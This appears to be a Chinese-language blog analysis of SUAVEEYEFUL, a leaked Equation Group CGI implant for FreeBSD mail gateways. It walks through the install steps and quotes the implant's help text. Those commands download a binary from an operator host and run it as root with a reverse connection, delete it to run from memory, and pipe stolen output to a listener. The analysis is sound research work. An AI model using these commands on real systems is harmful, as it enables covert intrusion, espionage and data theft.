方程式组织被遗忘的SUAVEEYEFUL FreeBSD软件植入工具分析

本文深入分析了方程式组织在ShadowBrokers 2017年泄露的SUAVEEYEFUL软件植入工具,该工具针对FreeBSD和Linux系统,用于监控中国外交部和日本早稻田大学的邮件流量,具有创新的无文件恶意软件技术和数据加密机制。

被遗忘的SUAVEEYEFUL FreeBSD软件植入工具:方程式组织

我在检查2017年ShadowBrokers泄露数据时发现,当时泄露的方程式组织工具中有一个没有公开参考资料/分析(至少据我所知)。因此,本文将介绍这个软件植入工具的功能和工作原理。该工具位于名为suaveeyeful_i386-unknown-mirapoint3.4.3的目录中,揭示了许多有趣的细节。总结如下:

  • SUAVEEYEFUL是一个针对FreeBSD和Linux的CGI软件植入工具
  • SUAVEEYEFUL至少从2000年代初就被用于监视中国外交部和日本早稻田研究大学的电子邮件流量
  • 泄露的文件/操作针对MiraPoint电子邮件产品
  • SUAVEEYEFUL在当时具有一些创新的TTP(战术、技术和程序),如数据加密和无文件恶意软件

泄露的文件

该目录中包含几个不同的文件:

  • bdes:FreeBSD bdes命令行工具的副本,基于FreeBSD bdes版本1.3.2.1(2000年9月22日),但于2003年在Linux上编译
  • decode-base64:使用MIME::Base64的简单Perl解码脚本
  • implant:SUAVEEYEFUL的ELF二进制软件植入组件,为FreeBSD 4.3版本构建(该版本于2001年4月发布)
  • implant.mg1.waseda.ac.jp:针对日本早稻田研究大学电子邮件网关的SUAVEEYEFUL ELF二进制软件植入组件(implant文件的变体)
  • opscript.se:在日本早稻田研究大学安装SUAVEEYEFUL(缩写为SE)软件植入工具的执行命令
  • se:SUAVEEYEFUL软件植入工具的客户端组件,使用Bash编写。此副本硬编码了日本早稻田研究大学的目标
  • se.old:SUAVEEYEFUL软件植入工具客户端的先前版本,使用Bash编写。此副本硬编码了中国外交部电子邮件网关的目标
  • uriescape:使用URI::Escape的简单Perl脚本

这些实用程序(bdes、decode-base64和uriescape)与SUAVEEYEFUL捆绑在一起,因为它们在内部使用。这确保了软件植入工具不依赖任何外部依赖项(除了当时默认的核心系统实用程序,如ls、cat、telnet等)。

目标

se.old客户端可能是操作员为新目标进行调整的版本。这是由于内容不一致,使其看起来像是旧操作的草案/编辑版本。残留的注释将mail.mfa.gov.cn(202.99.26.6)标识为其配置的SUAVEEYEFUL目标。

这是中国外交部(MFA)的电子邮件网关。即使在今天,此IP地址(202.99.26.6)仍然指向中国外交部的电子邮件服务器。很难确定方程式组织何时使用SUAVEEYEFUL软件植入工具入侵此电子邮件服务器。完全基于构建时间,我们可以评估至少从2000年代初开始。

泄露目录中包含的大多数文件都是为另一个目标设计的。早稻田研究大学的电子邮件网关,根据其官方网站,“致力于进行解决世界问题并为社会更大利益做出贡献的前沿研究。非正统的思维和智力好奇心是驱动早稻田研究的动力。”

se客户端配置了两个被入侵的早稻田电子邮件网关,两者都通过其内部IP地址从另一个被入侵的主机访问,仅通过其IP地址引用。因此,至少自2003年以来,早稻田基础设施中至少有3个系统被方程式组织入侵。

  • mp450(10.1.2.208)
  • mg1.waseda.ac.jp(10.9.4.15)
  • 10.1.2.150 – 另一个被入侵的主机

顶级主机(mp450)是大学的MiraPoint 450(后来更名为RazorGate 450),一种电子邮件安全设备。另一个主机(mg1.waseda.ac.jp)是MiraPoint电子邮件网关。第三个主机仍然未知,但基于其IP范围(与mp450相似),我们可以推断它可能是位于大学DMZ网络段的系统。

在早稻田MiraPoint服务器上安装SUAVEEYEFUL

这在opscript.se文件中有清晰描述,我们可以假设这是方程式组织操作员安装SUAVEEYEFUL软件植入工具的首批操作任务之一。以下是该过程:

  1. 将植入工具复制到/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi文件
  2. 将nph-help.cgi的文件权限更改为555
  3. 将nph-help.cgi的所有权更改为"root",组为"nobody"
  4. 使用touch -r确保文件nph-help.cgi以及/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/目录下的任何内容都具有与合法MiraPoint Web服务/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/publish.html相同的时间戳
  5. 使用netcat开始在端口444上监听,使用Base64解码接收到的数据,并使用bdes使用硬编码密钥(在这种情况下为0x4790cae5ec154ccc)解密它们
  6. 从mp450的SUAVEEYEFUL植入工具反向连接到监听端口4444,并提供一些基本的系统信息(谁登录、列出文件/目录等)

SUAVEEYEFUL软件植入工具

SUAVEEYEFUL(或SE)有两个组件:客户端和服务器。服务器组件是一个非常简单的CGI程序,用C语言为FreeBSD编写,并在其帮助端点寻找输入。只要接收到的命令匹配定义的格式(在本文后面描述),就会使用system()库调用执行它们(具有root权限,如前一节所示)。

客户端确保所有请求都正确请求、编码(使用Base64)和加密(使用DES)。客户端支持4个选项:

  • -h:显示帮助消息
  • -c:执行命令
  • -i:输入目标(例如运行SE服务器组件的主机的URL)
  • -k:用于DES加密的密钥

从这一点我们可以看到,为了生成加密材料,方程式组织以以下方式使用系统的/dev/random:

1
head -c 8 /dev/random | hexdump -e '/8 \"0x%016x\n\"'

然后使用#作为分隔符构造命令。要执行的主要命令使用以下方式构造:

1
echo "`head -c 8 /dev/random | hexdump -e '/8 "%016x\n"'`#`date +"%s"`#$cmd"|bdes -k $key > out

这导致了一个看起来像这样的格式:

1
[随机数]#[时间戳]#[命令]

然后使用硬编码的DES密钥加密此结构,并通过uriescape工具传递,以确保接收MiraPoint Web服务器不会出现解析问题。

除此之外,客户端还使用date +"%N"命令获取纳秒级的日期,并使用匹配相同值的密钥加密。这是一个反分析/反检测技巧,因为如果没有这个非直观的添加,任何人都很难让SE软件植入工具执行任何命令。

最后,SE帮助消息显示了操作员可以使用的示例命令的三个指令。这三个帮助命令执行以下任务:

  1. 通过以下方式安装无文件恶意软件:

    • 创建隐藏目录(/tmp/.scsi)
    • 使用curl从操作主机(10.1.2.150:5555/sendmail)下载一个名为sendmail的二进制文件
    • 以root身份运行sendmail并反向连接到操作主机的不同端口(10.1.2.150:9999)
    • 删除sendmail二进制文件,使其仅在内存中运行,而不是从文件系统运行
  2. 使用反向连接方法执行命令:

    • 运行w后跟ls -l和ls -l /tmp以获取登录用户和当前及/tmp目录的内容
    • 加密和编码输出
    • 将其发送到操作主机的监听端口(10.1.2.150:4444)
    • 消息还指导操作员如何生成新的DES加密密钥
  3. 与#2相同,但没有Base64编码和DES加密

以下是完整的帮助消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
1) se -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/curl http://10.1.2.150:5555/sendmail -osendmail;chmod +x sendmail;D=-c10.1.2.150:9999 PATH=. /usr/bin/asroot sendmail;rm -f sendmail) > /dev/null 2>&1" -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 

2) se -c"(w; ls -l; ls -l /tmp) | bdes -k SECRET | mmencode | telnet 10.1.2.150 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444 | decode-base64 | bdes -d -k SECRET

使用以下命令生成随机密钥并将SECRET替换为密钥
  head -c 8 /dev/random | hexdump -e '/8 "0x%016x\n"'

3) se -c"(w; ls -l; ls -l /tmp) | telnet 10.1.2.150 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计